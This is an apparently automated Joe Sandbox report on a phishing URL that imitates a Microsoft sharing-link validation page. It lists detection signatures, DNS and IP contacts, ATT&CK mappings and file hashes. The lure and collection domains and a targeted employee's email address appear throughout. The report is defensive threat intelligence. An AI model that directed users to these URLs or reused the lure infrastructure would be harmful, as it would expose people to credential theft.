Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
https://unicoengineering.microsoftfederalcloud.com/TvL1x?e=acis.teamangie@amwins.com

Overview

General Information

Sample URL:https://unicoengineering.microsoftfederalcloud.com/TvL1x?e=acis.teamangie@amwins.com
Analysis ID:1574947

Detection

Score:52
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

AI detected phishing page
AI detected suspicious Javascript
HTML body contains low number of good links
HTML body contains password input but no form action
HTML body with high number of embedded images detected
HTML title does not match URL
Invalid T&C link found
Stores files to the Windows start menu directory
URL contains potential PII (phishing indication)

Classification

  • System is w10x64_ra
  • chrome.exe (PID: 7052 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)
    • chrome.exe (PID: 6412 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2208 --field-trial-handle=1996,i,2601882466834067235,219015038880226850,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)
  • chrome.exe (PID: 3608 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://unicoengineering.microsoftfederalcloud.com/TvL1x?e=acis.teamangie@amwins.com" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)
  • cleanup
No yara matches
No Sigma rule has matched
No Suricata rule has matched

Click to jump to signature section

Show All Signature Results

Phishing

barindex
Source: https://unicoengineering.microsoftfederalcloud.com/TvL1x/?e=acis.teamangie@amwins.comJoe Sandbox AI: Score: 7 Reasons: The brand 'Microsoft' is well-known and typically associated with the domain 'microsoft.com'., The URL 'unicoengineering.microsoftfederalcloud.com' contains 'microsoft', but it is not a direct match to 'microsoft.com'., The presence of 'federalcloud' in the domain suggests a specific service or subdomain, which could be legitimate if verified, but it is not a standard Microsoft domain., The email domain 'amwins.com' in the input fields does not match the Microsoft brand, which is unusual and could be a red flag., The URL structure with additional words like 'unicoengineering' and 'federalcloud' is suspicious and could indicate a phishing attempt. DOM: 1.3.pages.csv
Source: 0.5.id.script.csvJoe Sandbox AI: Detected suspicious JavaScript with source url: https://unicoengineering.microsoftfederalcloud.com... The script demonstrates several high-risk behaviors, including dynamic code execution through the use of `atob()` to decode a potentially malicious string, and the extraction of query parameters from the URL, which could be used for data exfiltration or other malicious purposes. While the script's intent is not entirely clear, the combination of these behaviors raises significant security concerns and warrants further investigation.
Source: https://unicoengineering.microsoftfederalcloud.com/TvL1x/?e=acis.teamangie@amwins.comHTTP Parser: Number of links: 0
Source: https://unicoengineering.microsoftfederalcloud.com/TvL1x/?e=acis.teamangie@amwins.comHTTP Parser: <input type="password" .../> found but no <form action="...
Source: https://unicoengineering.microsoftfederalcloud.com/TvL1x/?e=acis.teamangie@amwins.comHTTP Parser: Total embedded image size: 123322
Source: https://unicoengineering.microsoftfederalcloud.com/TvL1x/?e=acis.teamangie@amwins.comHTTP Parser: Title: Sharing Link Validation does not match URL
Source: https://unicoengineering.microsoftfederalcloud.com/TvL1x/?e=acis.teamangie@amwins.comHTTP Parser: Invalid link: Privacy & Cookies
Source: https://unicoengineering.microsoftfederalcloud.com/TvL1x/?e=acis.teamangie@amwins.comHTTP Parser: Invalid link: Privacy & Cookies
Source: https://unicoengineering.microsoftfederalcloud.com/TvL1x?e=acis.teamangie@amwins.comSample URL: PII: acis.teamangie@amwins.com
Source: https://unicoengineering.microsoftfederalcloud.com/TvL1x?e=acis.teamangie@amwins.comSample URL: PII: acis.teamangie@amwins.com
Source: https://unicoengineering.microsoftfederalcloud.com/TvL1x?e=acis.teamangie@amwins.comSample URL: PII: acis.teamangie@amwins.com
Source: https://unicoengineering.microsoftfederalcloud.com/TvL1x?e=acis.teamangie@amwins.comSample URL: PII: acis.teamangie@amwins.com
Source: https://unicoengineering.microsoftfederalcloud.com/TvL1x?e=acis.teamangie@amwins.comSample URL: PII: acis.teamangie@amwins.com
Source: https://unicoengineering.microsoftfederalcloud.com/TvL1x?e=acis.teamangie@amwins.comSample URL: PII: acis.teamangie@amwins.com
Source: https://unicoengineering.microsoftfederalcloud.com/TvL1x?e=acis.teamangie@amwins.comSample URL: PII: acis.teamangie@amwins.com
Source: https://unicoengineering.microsoftfederalcloud.com/TvL1x?e=acis.teamangie@amwins.comSample URL: PII: acis.teamangie@amwins.com
Source: https://unicoengineering.microsoftfederalcloud.com/TvL1x?e=acis.teamangie@amwins.comSample URL: PII: acis.teamangie@amwins.com
Source: https://unicoengineering.microsoftfederalcloud.com/TvL1x?e=acis.teamangie@amwins.comSample URL: PII: acis.teamangie@amwins.com
Source: https://unicoengineering.microsoftfederalcloud.com/TvL1x?e=acis.teamangie@amwins.comSample URL: PII: acis.teamangie@amwins.com
Source: https://unicoengineering.microsoftfederalcloud.com/TvL1x?e=acis.teamangie@amwins.comSample URL: PII: acis.teamangie@amwins.com
Source: https://unicoengineering.microsoftfederalcloud.com/TvL1x?e=acis.teamangie@amwins.comSample URL: PII: acis.teamangie@amwins.com
Source: https://unicoengineering.microsoftfederalcloud.com/TvL1x?e=acis.teamangie@amwins.comSample URL: PII: acis.teamangie@amwins.com
Source: https://unicoengineering.microsoftfederalcloud.com/TvL1x/?e=acis.teamangie@amwins.comHTTP Parser: <input type="password" .../> found
Source: https://unicoengineering.microsoftfederalcloud.com/TvL1x/?e=acis.teamangie@amwins.comHTTP Parser: No favicon
Source: https://unicoengineering.microsoftfederalcloud.com/TvL1x/?e=acis.teamangie@amwins.comHTTP Parser: No favicon
Source: https://unicoengineering.microsoftfederalcloud.com/TvL1x/?e=acis.teamangie@amwins.comHTTP Parser: No favicon
Source: https://unicoengineering.microsoftfederalcloud.com/TvL1x/?e=acis.teamangie@amwins.comHTTP Parser: No favicon
Source: https://unicoengineering.microsoftfederalcloud.com/TvL1x/?e=acis.teamangie@amwins.comHTTP Parser: No <meta name="author".. found
Source: https://unicoengineering.microsoftfederalcloud.com/TvL1x/?e=acis.teamangie@amwins.comHTTP Parser: No <meta name="author".. found
Source: https://unicoengineering.microsoftfederalcloud.com/TvL1x/?e=acis.teamangie@amwins.comHTTP Parser: No <meta name="copyright".. found
Source: https://unicoengineering.microsoftfederalcloud.com/TvL1x/?e=acis.teamangie@amwins.comHTTP Parser: No <meta name="copyright".. found
Source: unknownHTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.16:49707 version: TLS 1.2
Source: unknownHTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.16:49708 version: TLS 1.2
Source: unknownHTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.16:49716 version: TLS 1.2
Source: unknownHTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.16:49760 version: TLS 1.2
Source: unknownTCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknownTCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknownTCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknownTCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknownTCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknownTCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknownTCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknownTCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknownTCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknownTCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknownTCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknownTCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownTCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknownTCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknownTCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknownTCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknownTCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknownTCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknownTCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknownTCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknownTCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknownTCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknownTCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknownTCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknownTCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknownTCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknownTCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknownTCP traffic detected without corresponding DNS query: 23.218.208.109
Source: unknownTCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknownTCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknownTCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknownTCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknownTCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknownTCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknownTCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknownTCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknownTCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknownTCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknownTCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknownTCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknownTCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknownTCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknownTCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknownTCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknownTCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknownTCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknownTCP traffic detected without corresponding DNS query: 52.149.20.212
Source: unknownTCP traffic detected without corresponding DNS query: 52.149.20.212
Source: global trafficDNS traffic detected: DNS query: unicoengineering.microsoftfederalcloud.com
Source: global trafficDNS traffic detected: DNS query: www.google.com
Source: global trafficDNS traffic detected: DNS query: challenges.cloudflare.com
Source: global trafficDNS traffic detected: DNS query: a.nel.cloudflare.com
Source: global trafficDNS traffic detected: DNS query: code.jquery.com
Source: global trafficDNS traffic detected: DNS query: cdnjs.cloudflare.com
Source: global trafficDNS traffic detected: DNS query: maxcdn.bootstrapcdn.com
Source: global trafficDNS traffic detected: DNS query: stackpath.bootstrapcdn.com
Source: global trafficDNS traffic detected: DNS query: 7425169103-1323985617.cos.ap-singapore.myqcloud.com
Source: global trafficDNS traffic detected: DNS query: 7425169103.federalcontractslegal.com
Source: unknownNetwork traffic detected: HTTP traffic on port 49708 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49744
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49743
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49742
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49741
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49740
Source: unknownNetwork traffic detected: HTTP traffic on port 49766 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49743 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49720 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49738
Source: unknownNetwork traffic detected: HTTP traffic on port 49717 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49737
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49736
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49735
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49734
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49733
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49732
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49731
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49730
Source: unknownNetwork traffic detected: HTTP traffic on port 49732 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49711 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49703 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49728 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49763 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49729
Source: unknownNetwork traffic detected: HTTP traffic on port 49752 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49728
Source: unknownNetwork traffic detected: HTTP traffic on port 49714 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49727
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49726
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49725
Source: unknownNetwork traffic detected: HTTP traffic on port 49735 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49724
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49723
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49722
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49721
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49720
Source: unknownNetwork traffic detected: HTTP traffic on port 49706 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49731 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49712 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49729 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49748 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49760 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49745 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49719
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49718
Source: unknownNetwork traffic detected: HTTP traffic on port 49751 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49717
Source: unknownNetwork traffic detected: HTTP traffic on port 49715 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49716
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49715
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49714
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49713
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49712
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49711
Source: unknownNetwork traffic detected: HTTP traffic on port 49709 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49710
Source: unknownNetwork traffic detected: HTTP traffic on port 49734 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49726 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49740 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49723 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49709
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49708
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49707
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49706
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49705
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49703
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49702
Source: unknownNetwork traffic detected: HTTP traffic on port 49737 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49733 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49710 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49727 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49762 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49713 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49736 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49759 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49707 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49724 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49742 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49721 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49718 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49766
Source: unknownNetwork traffic detected: HTTP traffic on port 49758 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49764
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49763
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49762
Source: unknownNetwork traffic detected: HTTP traffic on port 49678 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49760
Source: unknownNetwork traffic detected: HTTP traffic on port 49702 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49725 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49741 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49764 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49719 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49722 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49759
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49758
Source: unknownNetwork traffic detected: HTTP traffic on port 49738 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49755 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49755
Source: unknownNetwork traffic detected: HTTP traffic on port 49673 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49752
Source: unknownNetwork traffic detected: HTTP traffic on port 49705 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49730 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49751
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49750
Source: unknownNetwork traffic detected: HTTP traffic on port 49747 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49744 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49716 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 49750 -> 443
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49748
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49747
Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49745
Source: unknownHTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.16:49707 version: TLS 1.2
Source: unknownHTTPS traffic detected: 23.218.208.109:443 -> 192.168.2.16:49708 version: TLS 1.2
Source: unknownHTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.16:49716 version: TLS 1.2
Source: unknownHTTPS traffic detected: 52.149.20.212:443 -> 192.168.2.16:49760 version: TLS 1.2
Source: classification engineClassification label: mal52.phis.win@19/19@38/242
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps
Source: unknownProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2208 --field-trial-handle=1996,i,2601882466834067235,219015038880226850,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknownProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://unicoengineering.microsoftfederalcloud.com/TvL1x?e=acis.teamangie@amwins.com"
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2208 --field-trial-handle=1996,i,2601882466834067235,219015038880226850,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exeProcess created: unknown unknown
Source: Window RecorderWindow detected: More than 3 window changes detected
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk
Source: C:\Program Files\Google\Chrome\Application\chrome.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk
ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
Gather Victim Identity InformationAcquire InfrastructureValid AccountsWindows Management Instrumentation1
Browser Extensions
1
Process Injection
1
Masquerading
OS Credential DumpingSystem Service DiscoveryRemote ServicesData from Local System2
Encrypted Channel
Exfiltration Over Other Network MediumAbuse Accessibility Features
CredentialsDomainsDefault AccountsScheduled Task/Job1
Registry Run Keys / Startup Folder
1
Registry Run Keys / Startup Folder
1
Process Injection
LSASS MemoryApplication Window DiscoveryRemote Desktop ProtocolData from Removable Media1
Non-Application Layer Protocol
Exfiltration Over BluetoothNetwork Denial of Service
Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)Logon Script (Windows)Obfuscated Files or InformationSecurity Account ManagerQuery RegistrySMB/Windows Admin SharesData from Network Shared Drive2
Application Layer Protocol
Automated ExfiltrationData Encrypted for Impact

This section contains all screenshots as thumbnails, including those not shown in the slideshow.


windows-stand
SourceDetectionScannerLabelLink
https://unicoengineering.microsoftfederalcloud.com/TvL1x?e=acis.teamangie@amwins.com0%Avira URL Cloudsafe
No Antivirus matches
No Antivirus matches
No Antivirus matches
No Antivirus matches
NameIPActiveMaliciousAntivirus DetectionReputation
stackpath.bootstrapcdn.com
104.18.11.207
truefalse
    high
    sgp.file.myqcloud.com
    43.153.232.152
    truefalse
      unknown
      a.nel.cloudflare.com
      35.190.80.1
      truefalse
        high
        code.jquery.com
        151.101.2.137
        truefalse
          high
          cdnjs.cloudflare.com
          104.17.25.14
          truefalse
            high
            challenges.cloudflare.com
            104.18.95.41
            truefalse
              high
              7425169103.federalcontractslegal.com
              69.49.230.198
              truefalse
                unknown
                maxcdn.bootstrapcdn.com
                104.18.11.207
                truefalse
                  high
                  unicoengineering.microsoftfederalcloud.com
                  104.21.68.117
                  truetrue
                    unknown
                    www.google.com
                    142.250.181.132
                    truefalse
                      high
                      7425169103-1323985617.cos.ap-singapore.myqcloud.com
                      unknown
                      unknownfalse
                        unknown
                        NameMaliciousAntivirus DetectionReputation
                        https://unicoengineering.microsoftfederalcloud.com/TvL1x/?e=acis.teamangie@amwins.comtrue
                          unknown
                          • No. of IPs < 25%
                          • 25% < No. of IPs < 50%
                          • 50% < No. of IPs < 75%
                          • 75% < No. of IPs
                          IPDomainCountryFlagASNASN NameMalicious
                          172.217.19.206
                          unknownUnited States
                          15169GOOGLEUSfalse
                          1.1.1.1
                          unknownAustralia
                          13335CLOUDFLARENETUSfalse
                          104.18.10.207
                          unknownUnited States
                          13335CLOUDFLARENETUSfalse
                          172.217.17.35
                          unknownUnited States
                          15169GOOGLEUSfalse
                          104.18.94.41
                          unknownUnited States
                          13335CLOUDFLARENETUSfalse
                          104.18.95.41
                          challenges.cloudflare.comUnited States
                          13335CLOUDFLARENETUSfalse
                          69.49.230.198
                          7425169103.federalcontractslegal.comUnited States
                          46606UNIFIEDLAYER-AS-1USfalse
                          142.250.181.132
                          www.google.comUnited States
                          15169GOOGLEUSfalse
                          151.101.2.137
                          code.jquery.comUnited States
                          54113FASTLYUSfalse
                          104.18.11.207
                          stackpath.bootstrapcdn.comUnited States
                          13335CLOUDFLARENETUSfalse
                          142.250.181.138
                          unknownUnited States
                          15169GOOGLEUSfalse
                          104.21.68.117
                          unicoengineering.microsoftfederalcloud.comUnited States
                          13335CLOUDFLARENETUStrue
                          239.255.255.250
                          unknownReserved
                          unknownunknownfalse
                          43.153.232.151
                          unknownJapan4249LILLY-ASUSfalse
                          43.153.232.152
                          sgp.file.myqcloud.comJapan4249LILLY-ASUSfalse
                          142.250.181.46
                          unknownUnited States
                          15169GOOGLEUSfalse
                          35.190.80.1
                          a.nel.cloudflare.comUnited States
                          15169GOOGLEUSfalse
                          142.250.181.67
                          unknownUnited States
                          15169GOOGLEUSfalse
                          142.250.181.99
                          unknownUnited States
                          15169GOOGLEUSfalse
                          172.217.19.10
                          unknownUnited States
                          15169GOOGLEUSfalse
                          64.233.163.84
                          unknownUnited States
                          15169GOOGLEUSfalse
                          104.17.25.14
                          cdnjs.cloudflare.comUnited States
                          13335CLOUDFLARENETUSfalse
                          142.250.181.74
                          unknownUnited States
                          15169GOOGLEUSfalse
                          IP
                          192.168.2.16
                          Joe Sandbox version:41.0.0 Charoite
                          Analysis ID:1574947
                          Start date and time:2024-12-13 20:28:31 +01:00
                          Joe Sandbox product:CloudBasic
                          Overall analysis duration:
                          Hypervisor based Inspection enabled:false
                          Report type:full
                          Cookbook file name:defaultwindowsinteractivecookbook.jbs
                          Sample URL:https://unicoengineering.microsoftfederalcloud.com/TvL1x?e=acis.teamangie@amwins.com
                          Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                          Number of analysed new started processes analysed:13
                          Number of new started drivers analysed:0
                          Number of existing processes analysed:0
                          Number of existing drivers analysed:0
                          Number of injected processes analysed:0
                          Technologies:
                          • EGA enabled
                          Analysis Mode:stream
                          Analysis stop reason:Timeout
                          Detection:MAL
                          Classification:mal52.phis.win@19/19@38/242
                          • Exclude process from analysis (whitelisted): SgrmBroker.exe, svchost.exe
                          • Excluded IPs from analysis (whitelisted): 142.250.181.99, 172.217.19.206, 64.233.163.84, 199.232.210.172, 172.217.17.46
                          • Excluded domains from analysis (whitelisted): fs.microsoft.com, clients2.google.com, accounts.google.com, redirector.gvt1.com, ctldl.windowsupdate.com, clientservices.googleapis.com, clients.l.google.com
                          • Not all processes where analyzed, report is missing behavior information
                          • VT rate limit hit for: https://unicoengineering.microsoftfederalcloud.com/TvL1x?e=acis.teamangie@amwins.com
                          Process:C:\Program Files\Google\Chrome\Application\chrome.exe
                          File Type:MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Dec 13 18:29:03 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
                          Category:dropped
                          Size (bytes):2673
                          Entropy (8bit):3.991998662182412
                          Encrypted:false
                          SSDEEP:
                          MD5:E9AA441094737473069CF2EEEC098EB0
                          SHA1:82DBEA9056914294C8CCD64CB5517981E8292A84
                          SHA-256:7B0F272F0A6C132052ECFBD896831F8895EFA34A285B0EDC33FD3B43B345B3BC
                          SHA-512:B98E84FE2C4F8E9E12B8B2752186CD1DF0B030CC5AE3B75BEF86F1F3D23705EDE53542AD9CABAB5F3A249CF6F11D0050AB916672613908A17CB431D87EDD8EA4
                          Malicious:false
                          Reputation:unknown
